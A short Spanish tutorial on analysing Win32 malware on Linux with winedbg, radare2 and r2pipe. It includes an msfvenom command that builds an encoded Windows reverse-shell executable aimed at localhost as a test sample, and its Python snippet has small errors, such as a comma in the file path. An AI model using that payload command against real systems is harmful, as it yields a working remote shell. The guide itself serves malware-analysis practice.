Análisis dinámico de malware win32 en Linux

Análisis dinámico de malware win32 en Linux

A veces no tenemos una máquina con Windows para analizar una muestra de malware. Si la muestra es muy simple y no interactúa mucho con el sistema operativo, podemos usar Linux.

Primero crearemos un archivo PE bastante simple usando metasploit, esto creará un shell inverso en el puerto 31337 en localhost. :

msfvenom -a x86 --platform windows -p windows/shell/reverse\_tcp \\
LHOST=127.0.0.1 LPORT=31337 -b "\x00" -e x86/shikata\_ga\_nai -f exe -o /tmp/1.exe

Ahora tenemos una muestra que usaremos con el depurador de wine pausando la muestra:

winedbg --gdb --no-start /tmp/1.exe

Bastante simple, ¿verdad? Ahora podemos conectarnos al socket de gdb usando gdb, pero en nuestro caso usaremos radare2:

r2 -d -a x86 -b 32 gdb://localhost:55193

Ahora tenemos una sesión de radare2, pero podemos automatizar nuestro análisis usando r2pipe y tu lenguaje favorito, en mi caso python. Solo recuerda usar la salida json “cmdj” en tus comandos para que sea fácil de analizar.

import r2pipe
r2 = r2pipe.open ('gdb://127.0.0.1:55193',
                     \['-d', '-a x86', '-b 32',
                      '-e dbg.exe.path=/tmp/1,exe'\])

r2.cmd(“aaa”) function_list = r2.cmdj(“aflj”)

 
¡Feliz análisis de malware!